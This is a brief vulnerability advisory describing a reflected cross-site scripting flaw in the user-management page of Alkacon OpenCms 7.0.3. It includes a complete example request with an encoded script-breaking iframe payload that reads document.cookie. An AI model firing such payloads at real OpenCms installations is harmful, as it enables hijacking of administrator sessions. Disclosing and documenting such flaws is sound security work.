Alkacon OpenCms users_list.jsp searchfilter XSS Product: Alkacon OpenCms http://www.opencms.org/ OpenCms contains a cross-site scripting vulnerability in the user management function. Input to parameter searchfilter in page opencms/system/workplace/admin/accounts/users_list.jsp is not sufficiently validated and/or sanitized before it gets embedded in the resulting web page. Example: http://(target)/opencms/system/workplace/admin/accounts/users_list.jsp? ispopup=&action=listsearch&framename=&title= &closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2 52Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Facc ounts%252Forgunit &preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitem s= &formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root= &path=%252Faccounts%252Forgunit%252Fusers&redirect= &searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie% 29%3E%3Cscript%3E &listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.coo kie%29%3E%3Cscript%3E The vulnerability has been identified in version 7.0.3. However, other versions may be also affected. Solution: Users should not browse untrusted sites while logged into OpenCms. Found by: nnposter